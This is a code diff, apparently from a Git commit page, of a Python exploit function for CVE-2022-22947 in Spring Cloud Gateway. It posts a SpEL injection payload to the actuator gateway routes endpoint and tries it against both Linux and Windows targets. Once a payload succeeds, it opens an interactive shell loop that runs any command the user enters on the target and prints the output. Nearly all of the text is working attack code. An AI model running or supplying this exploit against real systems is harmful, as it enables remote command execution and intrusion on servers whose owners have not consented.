@@ -138,7 +138,8 @@ def CVE_2022_22947(url, proxies, header_new):
138138 }
139139 headers1 = json .loads (str (JSON_handle (oldHeader_1 , header_new )).replace ("'" , "\" " ))
140140 headers2 = json .loads (str (JSON_handle (oldHeader_2 , header_new )).replace ("'" , "\" " ))
141- payload = '''{\r
141+ vul_status = 0
142+ payload_linux = '''{\r
142143 "id": "hacktest",\r
143144 "filters": [{\r
144145 "name": "AddResponseHeader",\r
@@ -148,43 +149,65 @@ def CVE_2022_22947(url, proxies, header_new):
148149 "order": 0\r
149150 }'''
150151
151- payload2 = '''{\r
152+ payload_windows = '''{\r
152153 "id": "hacktest",\r
153154 "filters": [{\r
154155 "name": "AddResponseHeader",\r
155- "args": {"name": "Result","value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\\ "whoami \\ "}).getInputStream()))}"}\r
156+ "args": {"name": "Result","value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\\ "dir \\ "}).getInputStream()))}"}\r
156157 }],\r
157158 "uri": "http://example.com",\r
158159 "order": 0\r
159160 }'''
160161
161162 try :
162- requests .packages .urllib3 .disable_warnings ()
163- re1 = requests .post (url = url + "actuator/gateway/routes/hacktest" , data = payload , headers = headers1 , json = json , timeout = 10 ,verify = False , proxies = proxies )
164- re2 = requests .post (url = url + "actuator/gateway/refresh" , headers = headers2 , timeout = 10 ,verify = False , proxies = proxies )
165- re3 = requests .get (url = url + "actuator/gateway/routes/hacktest" , headers = headers2 , timeout = 10 ,verify = False , proxies = proxies )
166- if ('uid=' in str (re3 .text )) and ('gid=' in str (re3 .text )) and ('groups=' in str (re3 .text )):
167- cprint ("[+] Payload已经输出,回显结果如下:" , "red" )
168- print ('\n ' )
169- print (re3 .text )
170- print ('\n ' )
171- print ("[+] 执行命令模块(输入exit退出)" )
172- while 1 :
173- Cmd = input ("[+] 请输入要执行的命令>>> " )
174- if Cmd == "exit" :
175- re4 = requests .delete (url = url + "actuator/gateway/routes/hacktest" , headers = headers2 , timeout = 10 ,verify = False , proxies = proxies )
176- re5 = requests .post (url = url + "actuator/gateway/refresh" , headers = headers2 , timeout = 10 ,verify = False , proxies = proxies )
177- sys .exit (0 )
178- else :
179- payload3 = payload2 .replace ('whoami' , Cmd )
180- re1 = requests .post (url = url + "actuator/gateway/routes/hacktest" , data = payload3 , headers = headers1 , timeout = 10 , json = json ,verify = False , proxies = proxies )
181- re2 = requests .post (url = url + "actuator/gateway/refresh" , headers = headers2 , timeout = 10 ,verify = False , proxies = proxies )
182- re3 = requests .get (url = url + "actuator/gateway/routes/hacktest" , headers = headers2 , timeout = 10 ,verify = False , proxies = proxies )
183- result = re3 .text
184- cprint (result ,"green" )
163+ if vul_status == 0 :
164+ cprint ("[+] 正在发送Linux的Payload" ,"green" )
165+ requests .packages .urllib3 .disable_warnings ()
166+ re1 = requests .post (url = url + "actuator/gateway/routes/hacktest" , data = payload_linux , headers = headers1 , json = json , timeout = 10 ,verify = False , proxies = proxies )
167+ re2 = requests .post (url = url + "actuator/gateway/refresh" , headers = headers2 , timeout = 10 ,verify = False , proxies = proxies )
168+ re3 = requests .get (url = url + "actuator/gateway/routes/hacktest" , headers = headers2 , timeout = 10 ,verify = False , proxies = proxies )
169+ if ('uid=' in str (re3 .text )) and ('gid=' in str (re3 .text )) and ('groups=' in str (re3 .text )):
170+ cprint ("[+] Payload已经输出,回显结果如下:" , "red" )
171+ print ('\n ' )
172+ print (re3 .text )
173+ print ('\n ' )
174+ print ("[+] 执行命令模块(输入exit退出)" )
175+ vul_status = 1
176+ else :
177+ cprint ("[.] Linux的Payload没成功,清理缓存" ,"green" )
178+ re4 = requests .delete (url = url + "actuator/gateway/routes/hacktest" , headers = headers2 , timeout = 10 ,verify = False , proxies = proxies )
179+ re5 = requests .post (url = url + "actuator/gateway/refresh" , headers = headers2 , timeout = 10 ,verify = False , proxies = proxies )
180+ cprint ("[+] 正在发送Windows的Payload" ,"green" )
181+ requests .packages .urllib3 .disable_warnings ()
182+ re1 = requests .post (url = url + "actuator/gateway/routes/hacktest" , data = payload_windows , headers = headers1 , json = json , timeout = 10 ,verify = False , proxies = proxies )
183+ re2 = requests .post (url = url + "actuator/gateway/refresh" , headers = headers2 , timeout = 10 ,verify = False , proxies = proxies )
184+ re3 = requests .get (url = url + "actuator/gateway/routes/hacktest" , headers = headers2 , timeout = 10 ,verify = False , proxies = proxies )
185+ if ('<DIR>' in str (re3 .text )):
186+ cprint ("[+] Payload已经输出,回显结果如下:" , "red" )
185187 print ('\n ' )
186- else :
188+ print (re3 .text )
189+ print ('\n ' )
190+ print ("[+] 执行命令模块(输入exit退出)" )
191+ vul_status = 1
192+ if vul_status == 0 :
187193 cprint ("[-] CVE-2022-22947漏洞不存在\n " , "yellow" )
194+ re4 = requests .delete (url = url + "actuator/gateway/routes/hacktest" , headers = headers2 , timeout = 10 ,verify = False , proxies = proxies )
195+ re5 = requests .post (url = url + "actuator/gateway/refresh" , headers = headers2 , timeout = 10 ,verify = False , proxies = proxies )
196+ while vul_status == 1 :
197+ Cmd = input ("[+] 请输入要执行的命令>>> " )
198+ if Cmd == "exit" :
199+ re4 = requests .delete (url = url + "actuator/gateway/routes/hacktest" , headers = headers2 , timeout = 10 ,verify = False , proxies = proxies )
200+ re5 = requests .post (url = url + "actuator/gateway/refresh" , headers = headers2 , timeout = 10 ,verify = False , proxies = proxies )
201+ print ("[+] 删除路由成功" )
202+ sys .exit ()
203+ else :
204+ payload_new = payload_windows .replace ('dir' , Cmd )
205+ re1 = requests .post (url = url + "actuator/gateway/routes/hacktest" , data = payload_new , headers = headers1 , timeout = 10 , json = json ,verify = False , proxies = proxies )
206+ re2 = requests .post (url = url + "actuator/gateway/refresh" , headers = headers2 , timeout = 10 ,verify = False , proxies = proxies )
207+ re3 = requests .get (url = url + "actuator/gateway/routes/hacktest" , headers = headers2 , timeout = 10 ,verify = False , proxies = proxies )
208+ result = re3 .text
209+ cprint (result ,"green" )
210+ print ('\n ' )
188211 except KeyboardInterrupt :
189212 print ("Ctrl + C 手动终止了进程" )
190213 sys .exit ()
0 commit comments